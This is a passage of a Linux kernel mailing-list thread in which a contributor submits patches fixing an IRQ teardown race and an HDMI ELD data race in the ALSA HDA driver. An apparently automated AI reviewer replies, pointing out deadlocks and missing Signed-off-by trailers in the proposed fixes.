> L1396-1397 with no bus->irq = -1 bookkeeping and no
> synchronization; snd_hdac_i915_exit() (acomp unregister) runs at
> L1405-1406, after free_irq - so a hotplug notification arriving
> during azx_free() can still send verbs, time out and enter the
> fallback while the IRQ is already gone.
>
> - azx_dev_free() (intel.c:1422-1426) is the SNDRV_DEV_LOWLEVEL
> dev_free: in snd_card_free()'s release phase it runs after the
> codec devices were already freed by the same
> snd_device_free_all() pass, so the fallback can also race kfree()
> of the codec structures it is sending verbs to.
>
> * Trigger model
>
> 1. a real verb timeout (PCIe surprise removal / bus fault /
> firmware hang; hbus->no_response_fallback == 0 is the default),
> with chip->msi enabled (the norm on Intel controllers);
>
> 2. plus either (a) a concurrent PCI unbind/hot-remove, or (b) a
> second codec timing out at the same time (jackpoll_ms module
> parameter arms the poll work; hotplug/modeset arms the DRM
> notify path; GFHDMI/LOONGSON/ZHAOXIN controllers default to
> polling mode and time out more readily, intel.c:1908-1935).
>
> Under (a)/(b) the outcomes are the interleavings listed above:
> double free_irq (irqaction UAF / "Trying to free already-free
> IRQ"), torn vector-domain state, or azx_interrupt() registered with
> a freed dev_id on a shared INTX line (interrupt storm / UAF on
> every line trigger). Requires root/admin-level operations or a
> hardware fault to arm; consequence: kernel crash / DoS, with the
> freed-handler registration as a corruption primitive.
>
> * Reproducer and results on 7.3 (still present as of 7.4-rc5)
>
> Dynamic verification attempted in the KASAN QEMU environment with
> jackpoll_ms armed (500ms, then the 50ms parameter floor) and PCI
> remove+rescan churn overlapping reconfig/PCM verb traffic: QEMU
> performs orderly PCI removal - the ->remove callback completes
> before any MMIO/CORB-RIRB resource disappears - so no verb ever
> times out and disable_msi_reset_irq() is never entered (both runs
> clean; one run wedged in the unrelated card-lifecycle hang of the
> companion mail). This mail is therefore source-analysis based: the
> missing serialization is directly visible in the code quoted above,
> and the environment boundary (orderly removal vs surprise removal)
> is documented rather than papered over. Logs retained.
>
> * Fix (full patch below)
>
> 1. add chip->irq_mutex and hold it across the whole compound
> sequence in disable_msi_reset_irq()/azx_acquire_irq() and around
> azx_free()'s free_irq();
>
> 2. set hda->freed = 1 BEFORE the IRQ teardown in azx_free() (today
> it is only set at the very end) and refuse new
> azx_acquire_irq()/disable_msi_reset_irq() work when set -
> closing the request-after-free face, since a fallback waiting on
> the mutex bails out instead of registering a handler on freed
> memory;
>
> 3. bookkeeping: azx_free() now sets bus->irq = -1 after
> free_irq() (previously the stale line number survived and made
> the double free possible).
>
> The patch is regenerated against 7.4-rc5 (patch --dry-run passes
> cleanly) and reviewed by inspection; it has not been runtime-
> validated (see the environment boundary above). Happy to test any
> counter-proposal.
>
> * Patch
>
> disable_msi_reset_irq() (verb-timeout fallback) tears down and re-arms
> the controller IRQ with no locking, from jackpoll work / DRM audio
> component contexts, and azx_free() frees the same IRQ without any
> synchronization and without clearing bus->irq. Interleavings range
> from double free_irq() and torn PCI vector-domain state to
> request_irq() completing after the chip memory was freed, leaving a
> shared-line handler with a dev_id into freed memory.
>
> Serialize all IRQ (de)registration under chip->irq_mutex, set
> hda->freed before the IRQ teardown and refuse fallback work once set,
> and fix the bus->irq bookkeeping.
[Severity: High]
The commit message is missing a Signed-off-by: trailer.
> diff --git a/sound/hda/controllers/intel.c b/sound/hda/controllers/intel.c
> index 1f754f04eea8d..804e1ecb036f8 100644
> --- a/sound/hda/controllers/intel.c
> +++ b/sound/hda/controllers/intel.c
> @@ -792,8 +792,13 @@ static void azx_clear_irq_pending(struct azx *chip)
> static int azx_acquire_irq(struct azx *chip, int do_disconnect)
> {
> struct hdac_bus *bus = azx_bus(chip);
> + struct hda_intel *hda = container_of(chip, struct hda_intel, chip);
> int ret;
>
> + guard(mutex)(&chip->irq_mutex);
> + if (hda->freed)
> + return -EIO;
> +
> if (!chip->msi || pci_alloc_irq_vectors(chip->pci, 1, 1, PCI_IRQ_MSI) < 0) {
> ret = pci_alloc_irq_vectors(chip->pci, 1, 1, PCI_IRQ_INTX);
> if (ret < 0)
> @@ -1392,8 +1397,12 @@ static void azx_free(struct azx *chip)
> azx_stop_chip(chip);
> }
>
> + /* refuse in-flight verb-timeout fallbacks before the IRQ goes away */
> + hda->freed = 1;
> + guard(mutex)(&chip->irq_mutex);
> if (bus->irq >= 0)
> - free_irq(bus->irq, (void*)chip);
> + free_irq(bus->irq, (void *)chip);
> + bus->irq = -1;
>
> azx_free_stream_pages(chip);
> azx_free_streams(chip);
> @@ -1403,8 +1412,6 @@ static void azx_free(struct azx *chip)
>
> if (chip->driver_caps & AZX_DCAPS_I915_COMPONENT)
> snd_hdac_i915_exit(bus);
> -
> - hda->freed = 1;
> }
[Severity: High]
Does using an unscoped guard(mutex)(&chip->irq_mutex) in azx_free() invert
the lock ordering against DRM modeset and component locks?
Because guard(mutex) holds chip->irq_mutex until the end of azx_free(),
the lock remains held across display_power(chip, false) (which takes
bus->lock) and snd_hdac_i915_exit(bus), which calls component_master_del()
and intel_audio_component_unbind() to acquire component_mutex and
drm_modeset_lock. In the other direction, DRM modeset and component
callbacks hold drm_modeset_lock or component_mutex while issuing HDA verbs
that can time out and enter disable_msi_reset_irq():
CPU0 CPU1
---- ----
lock(&chip->irq_mutex)
lock(&drm_modeset_lock)
lock(&drm_modeset_lock)
lock(&chip->irq_mutex)
*** DEADLOCK ***
CPU0: azx_free() -> snd_hdac_i915_exit() -> snd_hdac_acomp_exit() ->
component_master_del() -> ... -> intel_audio_component_unbind()
CPU1: intel_audio_codec_enable() -> intel_pin_eld_notify() -> ... ->
azx_rirb_get_response() -> disable_msi_reset_irq()
hda->freed is also a bitfield in struct hda_intel that is written here
before chip->irq_mutex is acquired. Wrapping hda->freed = 1, free_irq(),
and bus->irq = -1 in a scoped_guard(mutex, &chip->irq_mutex) block would
release chip->irq_mutex before tearing down the rest of the controller.
[ ... ]
> @@ -2093,8 +2101,13 @@ static int azx_first_init(struct azx *chip)
> static int disable_msi_reset_irq(struct azx *chip)
> {
> struct hdac_bus *bus = azx_bus(chip);
> + struct hda_intel *hda = container_of(chip, struct hda_intel, chip);
> int err;
>
> + guard(mutex)(&chip->irq_mutex);
> + if (hda->freed)
> + return -EIO;
> +
> free_irq(bus->irq, chip);
> bus->irq = -1;
> chip->card->sync_irq = -1;
[Severity: High]
Does disable_msi_reset_irq() self-deadlock on chip->irq_mutex when it calls
azx_acquire_irq(chip, 1)?
disable_msi_reset_irq() acquires chip->irq_mutex via guard(mutex) for the
whole function and then calls azx_acquire_irq(), which immediately tries to
lock chip->irq_mutex again on the same thread. Any verb timeout that
enters disable_msi_reset_irq() will hang permanently while holding
bus->core.cmd_mutex, wedging all subsequent HDA verbs and card teardown.
--
Sashiko AI review · https://sashiko.dev/#/patchset/659e49b7.500e.1a231bfe03b.Coremail.xuhx@hust.edu.cn?part=1
^ permalink raw reply [flat|nested] 101+ messages in thread
* ALSA: hda/hdmi: hold pcm_lock for the unlocked hdmi_present_sense() callers (Data race)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (40 preceding siblings ...)
2026-12-01 13:16 ` ALSA: hda/intel: serialize IRQ (de)registration against card teardown (UAF) 徐晗翔
@ 2026-12-01 13:18 ` 徐晗翔
2026-12-01 13:30 ` sashiko-bot
41 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 13:18 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
hdmi_present_sense() parses display ELD data into a single shared
scratch buffer, struct hdmi_spec::temp_eld (sound/hda/codecs/hdmi/
hdmi_local.h:143, one instance per codec), and update_eld() then
copies that buffer into the per-pin sink_eld and drives PCM-slot
attachment from it. The parsing helpers (hdmi_present_sense_via_verbs()
and sync_eld_via_acomp()) only take the *per-pin* mutex around the
fill-and-consume window (hdmi.c:1269/1383) - the buffer itself is
per-spec, so two pins parsed concurrently on different CPUs overwrite
each other's data while each holds a *different* mutex. The outer
spec->pcm_lock exists for exactly this serialization and IS taken by
the DRM hotplug notification path (snd_hda_hdmi_check_presence_and_report(),
hdmi.c:592) and by the ELD repoll work (hdmi_repoll_eld(),
hdmi.c:1428) - but two callers do not take it:
- snd_hda_hdmi_generic_build_controls() (hdmi.c:1960, reached from
codec probe, i.e. from the HDA reconfig path) and
- snd_hda_hdmi_generic_resume() (hdmi.c:2094, wired as
patch_ops.resume and reached on every runtime/system resume).
Consequences when a hotplug notification or a repoll races the
unlocked probe/resume call (multi-pin HDMI/DP codecs are the norm on
Intel desktop parts): update_eld() on pin A reads pin B's ELD data
mid-overwrite (cross-pin ELD mismatch - the wrong monitor
capabilities/EDID are published through the ELD kcontrol and
snd_jack_report()), torn eld_size/eld_valid reads give the
sink_eld memcpy a mismatched length, and the unlocked
hdmi_attach_hda_pcm()/hdmi_pcm_setup_pin() inside update_eld() do an
unlocked hdmi_find_pcm_slot() bitmap scan plus bare writes of
per_pin->pcm_idx/per_pin->pcm/spec->pcm_bitmap (hdmi.c:1013-1035,
1066-1107), which can double-bind the same PCM slot to two pins
against the pcm_lock-holding PCM open/close paths (hdmi.c:1656/1739).
The detailed description:
* Test environment / affected version (still present as of 7.4-rc5)
Source-verified on Linux 7.3.0 and RE-CHECKED on Linux 7.4.0-rc5 -
both vanilla mainline trees. Re-check result: the 7.4-rc5 diff to
sound/hda/codecs/hdmi/hdmi.c is 5 lines (a cvt_nids array bound fix
and a typo) and does not touch spec->temp_eld, the unlocked call
sites (now at hdmi.c:1961/2095) or the lock-domain mismatch - the
race is unchanged in 7.4-rc5. The proposed patch applies cleanly
to 7.4-rc5 (patch --dry-run passes). The audited files are
byte-identical between the report baseline and the tested tree.
This mail is source-analysis based (see the environment note at
the end).
* Mechanism
Lock domain vs data ownership mismatch:
- temp_eld is per-spec (hdmi_local.h:143) but its fill-and-consume
window is guarded only by per_pin->lock (hdmi.c:1269 for the
verb path, 1383 for the audio-component path) - different pins
hold different mutexes over the same buffer;
- the pcm_lock-holding callers: snd_hda_hdmi_check_presence_and_report()
(hdmi.c:584-595, L592; entered from the DRM audio component
pin_eld_notify callback and from unsolicited events) and
hdmi_repoll_eld() (hdmi.c:1412-1430, L1428; 300ms retry work,
scheduled from update_eld() at hdmi.c:1154-1157);
- the unlocked callers: snd_hda_hdmi_generic_build_controls()
(hdmi.c:1950-1961, L1960 - codec probe/reconfig) and
snd_hda_hdmi_generic_resume() (hdmi.c:2083-2095, L2094 - wired
as generichdmi_codec_ops.resume, hdmi.c:2328; runtime/system
resume);
- the notify path cannot be excluded on the resume/probe side:
intel_pin_eld_notify() only filters PM_EVENT_SUSPEND
(intelhdmi.c:169-170), so a modeset/hotplug notification
concurrent with a runtime resume or a reconfig reaches the
same code.
Races:
1. cross-pin overwrite: thread A (notify, pcm_lock +
per_pin1->lock) fills temp_eld for pin1 while thread B
(resume, per_pin2->lock only) overwrites it for pin2; A's
update_eld() then copies pin2's ELD into pin1's sink_eld
(hdmi.c:1197-1213) and publishes it via the ELD control event
(L1226-1230) and snd_jack_report() (L1232-1235);
2. torn fields: eld_size/eld_valid/eld_buffer are written
non-atomically; a racing update_eld() can memcpy with a
mismatched length (bounded by ELD_MAX_SIZE, so this is state
corruption, not memory unsafety - the reason this is reported
as a functional data race rather than a security issue);
3. PCM slot binding: hdmi_attach_hda_pcm() does an unlocked
hdmi_find_pcm_slot() scan (hdmi.c:1001-1011) and bare
set_bit/clear_bit on spec->pcm_bitmap plus bare writes of
per_pin->pcm_idx/pcm (L1032-1034); two concurrent update_eld()
calls can select the same slot for two pins, and the bare
writes race the pcm_lock-holding open/close paths that base
stream configuration on per_pin->pcm.
* Trigger model
HDMI/DP codec with at least two pins (standard on Intel desktop
HDA), plus a display hotplug/modeset (DRM audio component notify)
or an ELD repoll landing inside a probe (reconfig) or a
runtime/system resume. The repoll mechanism itself (300ms retries
while the sink ELD is not ready, hdmi.c:1154-1157) widens the
window. Consequence: wrong ELD published to user space, wrong
jack state, PCM misrouting (audio silent/routed to the wrong
monitor); the pcm slot double-bind can wedge subsequent stream
setup.
* Fix
Take spec->pcm_lock around the two unlocked hdmi_present_sense()
call sites (build_controls and generic_resume), matching the lock
domain the notify/repoll callers already use. Lock order is
unchanged: pcm_lock is taken before per_pin->lock exactly as in
snd_hda_hdmi_check_presence_and_report() and hdmi_repoll_eld().
A per-pin scratch buffer would be the belt-and-braces alternative;
the two-line lock fix is the minimal, order-safe change.
The patch is regenerated against 7.4-rc5 (patch --dry-run passes
cleanly) and reviewed by inspection; it has not been runtime-
validated (see the environment note). Happy to test any
counter-proposal.
* Patch
hdmi_present_sense() parses the display ELD into the single shared
spec->temp_eld scratch buffer; the DRM notify and ELD repoll paths
hold spec->pcm_lock around it, but snd_hda_hdmi_generic_build_controls()
(probe/reconfig) and snd_hda_hdmi_generic_resume() call it with only
the per-pin lock. Two pins parsed concurrently share one buffer
while holding different per-pin mutexes, so one pin's update_eld()
copies the other pin's ELD into its sink_eld (cross-pin mismatch,
torn size/valid reads) and the unlocked slot-attach path races the
pcm_lock-protected PCM open/close state.
Take pcm_lock around the two call sites; the lock order
(pcm_lock -> per_pin->lock) is the one the existing callers already
use.
--- a/sound/hda/codecs/hdmi/hdmi.c
+++ b/sound/hda/codecs/hdmi/hdmi.c
@@ -1957,7 +1957,8 @@
}
pin_eld->eld_valid = false;
- hdmi_present_sense(per_pin, 0);
+ scoped_guard(mutex, &spec->pcm_lock)
+ hdmi_present_sense(per_pin, 0);
}
/* add channel maps */
@@ -2091,7 +2092,8 @@
for (pin_idx = 0; pin_idx < spec->num_pins; pin_idx++) {
struct hdmi_spec_per_pin *per_pin = get_pin(spec, pin_idx);
- hdmi_present_sense(per_pin, 1);
+ scoped_guard(mutex, &spec->pcm_lock)
+ hdmi_present_sense(per_pin, 1);
}
return 0;
}
--
2.47.1
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: ALSA: hda/hdmi: hold pcm_lock for the unlocked hdmi_present_sense() callers (Data race)
2026-12-01 13:18 ` ALSA: hda/hdmi: hold pcm_lock for the unlocked hdmi_present_sense() callers (Data race) 徐晗翔
@ 2026-12-01 13:30 ` sashiko-bot
0 siblings, 0 replies; 101+ messages in thread
From: sashiko-bot @ 2026-12-01 13:30 UTC (permalink / raw)
To: 徐晗翔; +Cc: linux-sound
Thank you for your contribution! Sashiko AI review found 4 potential
issues to consider:
- [High] ALSA: hda/hdmi: deadlock acquiring pcm_lock in
snd_hda_hdmi_generic_resume()
- [High] ALSA: hda/hdmi: missing Signed-off-by trailer in commit message
- [Medium] ALSA: hda/hdmi: narrow pcm_lock scope in
snd_hda_hdmi_generic_build_controls()
- [Low] ALSA: hda/hdmi: raw bug-report sections and duplicate text in
commit message
--
commit 3fad97f4628b9f9df44103d1e3999fd12ad5e055
Author: 徐晗翔 <xuhx@hust.edu.cn>
> ALSA: hda/hdmi: hold pcm_lock for the unlocked hdmi_present_sense() callers (Data race)
>
> hdmi_present_sense() parses display ELD data into a single shared
> scratch buffer, struct hdmi_spec::temp_eld (sound/hda/codecs/hdmi/
> hdmi_local.h:143, one instance per codec), and update_eld() then
> copies that buffer into the per-pin sink_eld and drives PCM-slot
> attachment from it. The parsing helpers (hdmi_present_sense_via_verbs()
> and sync_eld_via_acomp()) only take the *per-pin* mutex around the
> fill-and-consume window (hdmi.c:1269/1383) - the buffer itself is
> per-spec, so two pins parsed concurrently on different CPUs overwrite
> each other's data while each holds a *different* mutex. The outer
> spec->pcm_lock exists for exactly this serialization and IS taken by
> the DRM hotplug notification path (snd_hda_hdmi_check_presence_and_report(),
> hdmi.c:592) and by the ELD repoll work (hdmi_repoll_eld(),
> hdmi.c:1428) - but two callers do not take it:
>
> - snd_hda_hdmi_generic_build_controls() (hdmi.c:1960, reached from
> codec probe, i.e. from the HDA reconfig path) and
> - snd_hda_hdmi_generic_resume() (hdmi.c:2094, wired as
> patch_ops.resume and reached on every runtime/system resume).
>
> Consequences when a hotplug notification or a repoll races the
> unlocked probe/resume call (multi-pin HDMI/DP codecs are the norm on
> Intel desktop parts): update_eld() on pin A reads pin B's ELD data
> mid-overwrite (cross-pin ELD mismatch - the wrong monitor
> capabilities/EDID are published through the ELD kcontrol and
> snd_jack_report()), torn eld_size/eld_valid reads give the
> sink_eld memcpy a mismatched length, and the unlocked
> hdmi_attach_hda_pcm()/hdmi_pcm_setup_pin() inside update_eld() do an
> unlocked hdmi_find_pcm_slot() bitmap scan plus bare writes of
> per_pin->pcm_idx/per_pin->pcm/spec->pcm_bitmap (hdmi.c:1013-1035,
> 1066-1107), which can double-bind the same PCM slot to two pins
> against the pcm_lock-holding PCM open/close paths (hdmi.c:1656/1739).
>
> The detailed description:
>
> * Test environment / affected version (still present as of 7.4-rc5)
>
> Source-verified on Linux 7.3.0 and RE-CHECKED on Linux 7.4.0-rc5 -
> both vanilla mainline trees. Re-check result: the 7.4-rc5 diff to
> sound/hda/codecs/hdmi/hdmi.c is 5 lines (a cvt_nids array bound fix
> and a typo) and does not touch spec->temp_eld, the unlocked call
> sites (now at hdmi.c:1961/2095) or the lock-domain mismatch - the
> race is unchanged in 7.4-rc5. The proposed patch applies cleanly
> to 7.4-rc5 (patch --dry-run passes). The audited files are
> byte-identical between the report baseline and the tested tree.
> This mail is source-analysis based (see the environment note at
> the end).
>
> * Mechanism
>
> Lock domain vs data ownership mismatch:
>
> - temp_eld is per-spec (hdmi_local.h:143) but its fill-and-consume
> window is guarded only by per_pin->lock (hdmi.c:1269 for the
> verb path, 1383 for the audio-component path) - different pins
> hold different mutexes over the same buffer;
>
> - the pcm_lock-holding callers: snd_hda_hdmi_check_presence_and_report()
> (hdmi.c:584-595, L592; entered from the DRM audio component
> pin_eld_notify callback and from unsolicited events) and
> hdmi_repoll_eld() (hdmi.c:1412-1430, L1428; 300ms retry work,
> scheduled from update_eld() at hdmi.c:1154-1157);
>
> - the unlocked callers: snd_hda_hdmi_generic_build_controls()
> (hdmi.c:1950-1961, L1960 - codec probe/reconfig) and
> snd_hda_hdmi_generic_resume() (hdmi.c:2083-2095, L2094 - wired
> as generichdmi_codec_ops.resume, hdmi.c:2328; runtime/system
> resume);
>
> - the notify path cannot be excluded on the resume/probe side:
> intel_pin_eld_notify() only filters PM_EVENT_SUSPEND
> (intelhdmi.c:169-170), so a modeset/hotplug notification
> concurrent with a runtime resume or a reconfig reaches the
> same code.
>
> Races:
>
> 1. cross-pin overwrite: thread A (notify, pcm_lock +
> per_pin1->lock) fills temp_eld for pin1 while thread B
> (resume, per_pin2->lock only) overwrites it for pin2; A's
> update_eld() then copies pin2's ELD into pin1's sink_eld
> (hdmi.c:1197-1213) and publishes it via the ELD control event
> (L1226-1230) and snd_jack_report() (L1232-1235);
>
> 2. torn fields: eld_size/eld_valid/eld_buffer are written
> non-atomically; a racing update_eld() can memcpy with a
> mismatched length (bounded by ELD_MAX_SIZE, so this is state
> corruption, not memory unsafety - the reason this is reported
> as a functional data race rather than a security issue);
>
> 3. PCM slot binding: hdmi_attach_hda_pcm() does an unlocked
> hdmi_find_pcm_slot() scan (hdmi.c:1001-1011) and bare
> set_bit/clear_bit on spec->pcm_bitmap plus bare writes of
> per_pin->pcm_idx/pcm (L1032-1034); two concurrent update_eld()
> calls can select the same slot for two pins, and the bare
> writes race the pcm_lock-holding open/close paths that base
> stream configuration on per_pin->pcm.
>
> * Trigger model
>
> HDMI/DP codec with at least two pins (standard on Intel desktop
> HDA), plus a display hotplug/modeset (DRM audio component notify)
> or an ELD repoll landing inside a probe (reconfig) or a
> runtime/system resume. The repoll mechanism itself (300ms retries
> while the sink ELD is not ready, hdmi.c:1154-1157) widens the
> window. Consequence: wrong ELD published to user space, wrong
> jack state, PCM misrouting (audio silent/routed to the wrong
> monitor); the pcm slot double-bind can wedge subsequent stream
> setup.
>
> * Fix
>
> Take spec->pcm_lock around the two unlocked hdmi_present_sense()
> call sites (build_controls and generic_resume), matching the lock
> domain the notify/repoll callers already use. Lock order is
> unchanged: pcm_lock is taken before per_pin->lock exactly as in
> snd_hda_hdmi_check_presence_and_report() and hdmi_repoll_eld().
> A per-pin scratch buffer would be the belt-and-braces alternative;
> the two-line lock fix is the minimal, order-safe change.
>
> The patch is regenerated against 7.4-rc5 (patch --dry-run passes
> cleanly) and reviewed by inspection; it has not been runtime-
> validated (see the environment note). Happy to test any
> counter-proposal.
>
> * Patch
>
> hdmi_present_sense() parses the display ELD into the single shared
> spec->temp_eld scratch buffer; the DRM notify and ELD repoll paths
> hold spec->pcm_lock around it, but snd_hda_hdmi_generic_build_controls()
> (probe/reconfig) and snd_hda_hdmi_generic_resume() call it with only
> the per-pin lock. Two pins parsed concurrently share one buffer
> while holding different per-pin mutexes, so one pin's update_eld()
> copies the other pin's ELD into its sink_eld (cross-pin mismatch,
> torn size/valid reads) and the unlocked slot-attach path races the
> pcm_lock-protected PCM open/close state.
>
> Take pcm_lock around the two call sites; the lock order
> (pcm_lock -> per_pin->lock) is the one the existing callers already
> use.
[Severity: High]
The commit message is missing a Signed-off-by: trailer.
[Severity: Low]
This isn't a bug, but the commit message includes raw bug-report sections
("* Test environment", "* Mechanism", "* Trigger model", "* Fix",
"* Patch") that repeat the description three times along with
conversational email notes. Could this be trimmed to a single concise
changelog?
> diff --git a/sound/hda/codecs/hdmi/hdmi.c b/sound/hda/codecs/hdmi/hdmi.c
> index 355fd3e731836..123672c80a338 100644
> --- a/sound/hda/codecs/hdmi/hdmi.c
> +++ b/sound/hda/codecs/hdmi/hdmi.c
> @@ -1958,7 +1958,8 @@ int snd_hda_hdmi_generic_build_controls(struct hda_codec *codec)
> }
>
> pin_eld->eld_valid = false;
> - hdmi_present_sense(per_pin, 0);
> + scoped_guard(mutex, &spec->pcm_lock)
> + hdmi_present_sense(per_pin, 0);
> }
>
> /* add channel maps */
[Severity: Medium]
Should spec->pcm_lock also cover the rest of this loop body in
snd_hda_hdmi_generic_build_controls()?
Just above this hunk, the loop runs:
sound/hda/codecs/hdmi/hdmi.c:snd_hda_hdmi_generic_build_controls() {
...
if (spec->static_pcm_mapping) {
hdmi_attach_hda_pcm(spec, per_pin);
hdmi_pcm_setup_pin(spec, per_pin);
}
pin_eld->eld_valid = false;
...
}
Because the audio component pin_eld_notify callback is already registered
during codec->ops.probe(), snd_hda_hdmi_check_presence_and_report() can
run concurrently with snd_hda_hdmi_generic_build_controls(). Leaving
hdmi_attach_hda_pcm(), hdmi_pcm_setup_pin() and pin_eld->eld_valid = false
outside spec->pcm_lock allows update_eld() on the notify path to race on
spec->pcm_bitmap and per_pin->pcm, or to set pin_eld->eld_valid = true
right after it is cleared here so that hdmi_present_sense() sees no ELD
change and skips initial jack and control reporting (regressing
ca76282b6faf ("ALSA: hda/hdmi: fix race in monitor detection during
probe")).
> @@ -2092,7 +2093,8 @@ int snd_hda_hdmi_generic_resume(struct hda_codec *codec)
>
> for (pin_idx = 0; pin_idx < spec->num_pins; pin_idx++) {
> struct hdmi_spec_per_pin *per_pin = get_pin(spec, pin_idx);
> - hdmi_present_sense(per_pin, 1);
> + scoped_guard(mutex, &spec->pcm_lock)
> + hdmi_present_sense(per_pin, 1);
> }
> return 0;
> }
[Severity: High]
Does taking spec->pcm_lock in snd_hda_hdmi_generic_resume() deadlock when
hdmi_present_sense() powers up a runtime-suspended codec?
Both snd_hda_hdmi_check_presence_and_report() and hdmi_repoll_eld() take
spec->pcm_lock before calling hdmi_present_sense(). When the codec is in
runtime suspend, hdmi_present_sense() wakes it synchronously via
CLASS(snd_hda_power_pm, pm)(codec) (either directly in
hdmi_present_sense_via_verbs(), or in silent_stream_enable() /
silent_stream_disable() called from sync_eld_via_acomp()), which runs the
codec's runtime resume callback on the same thread:
snd_hda_hdmi_check_presence_and_report()
guard(mutex)(&spec->pcm_lock)
hdmi_present_sense()
hdmi_present_sense_via_verbs()
CLASS(snd_hda_power_pm, pm)(codec)
...
pm_runtime_get_sync()
...
snd_hda_hdmi_generic_resume()
scoped_guard(mutex, &spec->pcm_lock) <-- self-deadlock
As the comment in silent_stream_enable() notes, runtime power-up invokes
snd_hda_hdmi_generic_resume() -> hdmi_present_sense(), so
snd_hda_hdmi_generic_resume() cannot acquire a mutex that callers hold
across snd_hda_power_up_pm().
--
Sashiko AI review · https://sashiko.dev/#/patchset/4336415a.5017.1a231c1ccad.Coremail.xuhx@hust.edu.cn?part=1
^ permalink raw reply [flat|nested] 101+ messages in thread